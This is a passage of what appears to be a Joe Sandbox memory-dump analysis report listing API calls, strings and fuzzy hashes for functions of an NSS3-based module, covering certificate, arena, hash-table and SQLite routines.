EnterCriticalSection.KERNEL32(0000001C,?,6CE9AB7F,?,00000000,?), ref: 6CE94CC8
TlsGetValue.KERNEL32(?,6CE9AB7F,?,00000000,?), ref: 6CE94CE0
EnterCriticalSection.KERNEL32(?,?,6CE9AB7F,?,00000000,?), ref: 6CE94CF4
PL_HashTableLookup.NSS3(?,?,?,6CE9AB7F,?,00000000,?), ref: 6CE94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE94D10

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE94D26

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE94E02

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction ID: 23bb0010e8b5f7efb018856326fe82c62ac5f2d5aea0d3c4797b009e66b8db41
Opcode Fuzzy Hash: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction Fuzzy Hash: 7A41A6BAE102059BEB019F68EC44A6677B8AF0621CF254175EC1987B21EB31E954C7E1

Function 6CE7BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7BFFB

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE7C015

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE7C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE7C04D

Part of subcall function 6CEC69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEC6A47
Part of subcall function 6CEC69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CEC6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE7C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE7C07B

Part of subcall function 6CE78980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE77310), ref: 6CE789B8
Part of subcall function 6CE78980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE77310), ref: 6CE789E6
Part of subcall function 6CE78980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE78A00
Part of subcall function 6CE78980: CERT_CopyRDN.NSS3(00000004,00000000,6CE77310,?,?,00000004,?), ref: 6CE78A1B
Part of subcall function 6CE78980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE78A74

Part of subcall function 6CE71D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE7C097,00000000,000000B0,?), ref: 6CE71D2C
Part of subcall function 6CE71D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE7C09B,00000000,00000000,00000000,?,6CE7C097,00000000,000000B0,?), ref: 6CE71D3F
Part of subcall function 6CE71D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE7C087,00000000,000000B0,?), ref: 6CE71D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE7C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE7C0C9

Part of subcall function 6CE82DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE7C0D2,6CE7C0CE,00000000,-000000D4,?), ref: 6CE82DF5
Part of subcall function 6CE82DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE7C0CE,00000000,-000000D4,?), ref: 6CE82E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7C0E3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 3f41617c9affc7fcf3c2056c2660aaec348ec9a135c45da8512cf30fe5cf9d57
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 492195A274010527FB206A61AD85FFB36BC9B5175CF284138FD08D9746FB26D519C2B2

Function 6CE72E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E

Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91
Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
Part of subcall function 6CECFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33

Part of subcall function 6CECFD80: free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

TlsGetValue.KERNEL32 ref: 6CE72E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
PL_HashTableLookup.NSS3(?), ref: 6CE72E71
PL_HashTableRemove.NSS3(?), ref: 6CE72E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
PR_Unlock.NSS3 ref: 6CE72EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE72EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE72EC5

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ed9616a29294fa0ebc5d0a749eeea301a8e165bf787a7a24cd682b23d799efef
Instruction ID: 76171e36739b7eb4b4c1b09215e50d27acb0d3e2c22c41ad4fa50b6ffd1cc6e1
Opcode Fuzzy Hash: ed9616a29294fa0ebc5d0a749eeea301a8e165bf787a7a24cd682b23d799efef
Instruction Fuzzy Hash: 5721F572E54100A7EF111B35AC0DB9B3A78EB5235DF240134ED1882B11F733EA59D6E1

Function 6CE5FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE5FD18
sqlite3_initialize.NSS3 ref: 6CE5FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE5FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE5FD99
sqlite3_free.NSS3(00000000), ref: 6CE5FE3C
sqlite3_free.NSS3(?), ref: 6CE5FEE3
sqlite3_free.NSS3(?), ref: 6CE5FEEE

Strings

simple, xrefs: 6CE5FC79

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: c38a572313401e50d4e253954e7017172cd194bc1252e5905b6e21fb88e3e17b
Instruction ID: 1a388155ba61e83edd47996262f49574563bf4129f0b8aa35516e765270a6c36
Opcode Fuzzy Hash: c38a572313401e50d4e253954e7017172cd194bc1252e5905b6e21fb88e3e17b
Instruction Fuzzy Hash: 489172B0B012058FDB04CF55C880B6AB7B1FF85318F75C569D9199BB52EB3AE861CB90

Function 6CE65CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE65EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE65EED

Strings

misuse, xrefs: 6CE65EDB
%s at line %d of [%.10s], xrefs: 6CE65EE0
API call with %s database connection pointer, xrefs: 6CE65EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE65ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE65E64
invalid, xrefs: 6CE65EBE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 64ec4fc07c7b1eb823c3f6bef0a404676f37c55066f279b2ca61ca56b45f7e1c
Instruction ID: e3f174517d708be7e5f9682de994136169ca2dcfae3c2d0897d35bf10fea9314
Opcode Fuzzy Hash: 64ec4fc07c7b1eb823c3f6bef0a404676f37c55066f279b2ca61ca56b45f7e1c
Instruction Fuzzy Hash: 1581A130B976119BEB198F66C848BAA7771BF4230CF384269D8155BF92D731E842CBD1

Function 6CE4DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE4DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE4DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE4DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE4DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE4DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE4DE61, 6CE4DE90
database corruption, xrefs: 6CE4DE5C, 6CE4DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE4DE52, 6CE4DE81

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: f251a8ae2cdd828b8b7e8d447445c1b6a33bfea298069e80fd9365ab2666da46
Instruction ID: 5dabc050966c98d77f16d166df2c480432c6db48e6b4099ebb001272900ef0b9
Opcode Fuzzy Hash: f251a8ae2cdd828b8b7e8d447445c1b6a33bfea298069e80fd9365ab2666da46
Instruction Fuzzy Hash: F881C2797043009FD714CF25D880B6A77F1AF45308F25C96DE89A8BB91E731EA46C792

Function 6CDFCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDFB999), ref: 6CDFD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDFB999), ref: 6CF4972B

Strings

%s at line %d of [%.10s], xrefs: 6CDFCFEC, 6CDFD018, 6CDFD029, 6CDFD03F, 6CF4978B
database corruption, xrefs: 6CDFCFE7, 6CDFD013, 6CDFD028, 6CDFD039, 6CDFD03E, 6CF49786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFCFDD, 6CDFD00E, 6CDFD022, 6CDFD033, 6CF49780

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction ID: 757b1bbc9ad0283f5e420a37f60e2f231d7197bb4961ac34fb41318ca01e0692
Opcode Fuzzy Hash: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction Fuzzy Hash: 9B612671A042109BD310CF29C840BA6BBF5FF95318F2985ADE4499FB82D376E947C7A1

Function 6CEFFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CF00113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF00130
PORT_Alloc_Util.NSS3(00000040), ref: 6CF0015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CF001AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CF00202
free.MOZGLUE(?), ref: 6CF00224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF00253

Strings

exporter, xrefs: 6CF000F7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 6dc95bfc0eb74b927c2cc2bac7fc9dee47c80b3f071ed92d5547974ea85172cd
Instruction ID: d16f2d4d881b2608c1cbe58cfc6de2e18870f4d169d1b14b1d0ee42c2449b29c
Opcode Fuzzy Hash: 6dc95bfc0eb74b927c2cc2bac7fc9dee47c80b3f071ed92d5547974ea85172cd
Instruction Fuzzy Hash: 9A6144B1E003899BEF018FA4CD20BEE73B6FF4470CF154128E91A56A62EB71A954DB41

Function 6CED4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CED536F,00000022,?,?,00000000,?), ref: 6CED4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CED4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CED4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CED4FAE
free.MOZGLUE(?), ref: 6CED4FC8

Strings

%s=%s, xrefs: 6CED4F89
%s=%c%s%c, xrefs: 6CED4FA9
oSl", xrefs: 6CED4DFB, 6CED4EF4, 6CED4EC5

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction ID: dd4b8512e14cb15bf7c3c4062938e7bb16a1e836aee3ca0df1a5f6879d3e01cb
Opcode Fuzzy Hash: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction Fuzzy Hash: 7F514D61A0414B9BEB01CB69C4517FF7BF59F6630CF3A4117EC94ABB40D325A9078791

Function 6CEFEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEF6D

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

htonl.WSOCK32(00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEFE4
htonl.WSOCK32(?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEFF1
memcpy.VCRUNTIME140(?,?,6CF1A4A1,?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFF027

Strings

dtls13, xrefs: 6CEFEF33

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 627fdaee89cfa889aadc77328db396bd22e49bab4ab92be6c2b68380bbefe5d9
Instruction ID: a71179f36165406ee8941e3eed4da368dcbe72ddc7e6ca19b1f0af03e8096775
Opcode Fuzzy Hash: 627fdaee89cfa889aadc77328db396bd22e49bab4ab92be6c2b68380bbefe5d9
Instruction Fuzzy Hash: 7931E372A01611AFD710DF28DC41B8AB7F4AF4934CF258029E8289B751E731F916CBE1

Function 6CE7AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE7AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF99500,6CE73F91), ref: 6CE7AFD2

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

DER_GetInteger_Util.NSS3(?), ref: 6CE7B007

Part of subcall function 6CEC6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE71666,?,6CE7B00C,?), ref: 6CEC6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE7B02F
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE7B046
PL_FreeArenaPool.NSS3 ref: 6CE7B058
PL_FinishArenaPool.NSS3 ref: 6CE7B060

Strings

security, xrefs: 6CE7AFB8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 6df5da3cd77938430d30630cbefa0a8dc56ebd7338a431c19c70bb51f67807ec
Instruction ID: 0bf511e067a941b2c047e2f50116cf2d69457402eed8cfdfb26930430e2021f2
Opcode Fuzzy Hash: 6df5da3cd77938430d30630cbefa0a8dc56ebd7338a431c19c70bb51f67807ec
